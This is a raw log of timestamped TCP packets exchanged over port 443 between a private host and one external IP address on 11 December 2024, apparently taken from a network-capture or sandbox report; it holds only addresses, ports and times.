Dec 11, 2024 12:44:36.307136059 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.307208061 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.307303905 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.308778048 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.308793068 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.308976889 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.308978081 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.308990955 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.309087038 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.309211016 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.310530901 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.310549974 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.310745955 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.310745955 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.310760021 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.310767889 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.310862064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.310944080 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.312374115 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.312392950 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.312556982 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.312669992 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.312683105 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.312866926 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.314251900 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.314270973 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.314516068 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.314516068 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.314527988 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.314738989 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.316067934 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.316087008 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.316266060 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.316266060 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.316281080 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.316287041 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.316368103 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.316482067 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.317476034 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.317495108 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.317661047 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.317661047 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.317723989 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.317738056 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.317823887 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.317878962 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.319098949 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.319114923 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.319303036 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.319303036 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.319317102 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.319417953 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.319494009 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.320893049 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.320907116 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.321115971 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.321115971 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.321126938 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.321173906 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.321248055 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.322868109 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.322882891 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.323024988 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.323024988 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.323080063 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.323085070 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.323127031 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.323177099 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.323246956 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.324680090 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.324696064 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.324887991 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.324887991 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.324894905 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.324935913 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.325010061 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.325058937 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.326636076 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.326652050 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.326800108 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.326848984 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.326848984 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.326858044 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.326903105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.327018976 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.328020096 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.328039885 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.328196049 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.328196049 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.328257084 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.328263044 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.328268051 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.328268051 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.328412056 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.329688072 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.329706907 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.329864025 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.329864025 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.329917908 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.329930067 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.330014944 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.330086946 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.331526995 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.331542969 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.331661940 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.331661940 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.331736088 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.331743956 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.331785917 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.331835985 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.331933022 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.333445072 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.333461046 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.333611965 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.333661079 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.333661079 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.333667994 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.333681107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.333681107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.333820105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.335562944 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.335607052 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.335755110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.335755110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.335791111 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.335791111 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.335809946 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.335834980 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.335974932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.336816072 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.336853981 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.336993933 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.337019920 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.337019920 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.337037086 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.337099075 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.337099075 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.337188005 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.338578939 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.338614941 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.338752031 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.338752031 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.338785887 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.338799953 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.338862896 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.338905096 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.338979006 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.339005947 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.339024067 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.340440035 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.340476036 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.340605021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.340605021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.340620041 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.340635061 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.340635061 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.340714931 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.340714931 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.342525005 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.342556953 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.342703104 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.342703104 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.342736959 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.342736959 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.342753887 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.342812061 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.342812061 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.344433069 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.344465971 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.344588995 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.344588995 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.344619036 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.344634056 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.344634056 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.344717979 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.344748020 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.345731974 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.345771074 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.345916986 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.345917940 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.345952034 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.345952034 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.345968962 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.345998049 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.346048117 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.347404003 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.347440004 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.347580910 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.347580910 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.347610950 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.347631931 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.347632885 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.347707987 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.347707987 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.349280119 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.349309921 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.349455118 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.349455118 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.349486113 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.349508047 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.349508047 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.349508047 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.349589109 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.351134062 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.351171970 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.351344109 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.351344109 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.351373911 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.351475000 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.351475000 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.351984024 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.353014946 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.353048086 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.353205919 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.353205919 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.353238106 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.353251934 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.353337049 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.354624987 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.354664087 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.354789972 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.354789972 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.354819059 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.354840040 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.354840040 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.354916096 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.354917049 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.356242895 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.356276989 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.356417894 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.356417894 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.356447935 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.356468916 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.356468916 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.356553078 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.356580973 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.358066082 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.358104944 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.358294010 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.358294010 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.358325005 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.358345032 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.358419895 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.360174894 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.360207081 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.360347033 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.360347033 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.360378027 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.360399961 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.360490084 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.361865997 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.361907005 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.362082005 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.362082005 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.362112045 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.362132072 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.362132072 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.363120079 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.363152981 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.363373041 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.363373041 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.363404036 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.363425016 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.363425016 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.365026951 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.365067959 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.365238905 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.365267992 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.365286112 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.365359068 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.366832972 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.366867065 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.367043972 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.367073059 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.367141962 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.367141962 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.368799925 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.368839979 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.369013071 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.369013071 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.369043112 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.369138002 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.369138002 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.370630980 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.370665073 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.370903015 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.370903015 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.370934010 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.370954037 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.371701002 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.371738911 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.371906996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.371906996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.371937037 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.371957064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.372035980 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.373971939 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.374006033 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.374176979 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.374176979 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.374216080 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.374238014 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.374324083 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.375559092 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.375600100 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.375767946 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.375767946 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.375797987 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.375896931 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.376028061 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.520606041 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.554898977 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.554930925 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.555083990 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.555083990 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.555242062 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.555262089 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.555275917 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.555459976 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.556266069 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.556296110 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.556463003 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.556483984 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.556498051 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.556498051 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.556678057 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.558008909 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.558034897 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.558212996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.558212996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.558238983 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.558248997 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.558320045 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.558449984 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.559775114 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.559799910 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.560051918 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.560117006 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.560184956 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.560204983 CET	443	49757	172.67.128.139	192.168.11.20
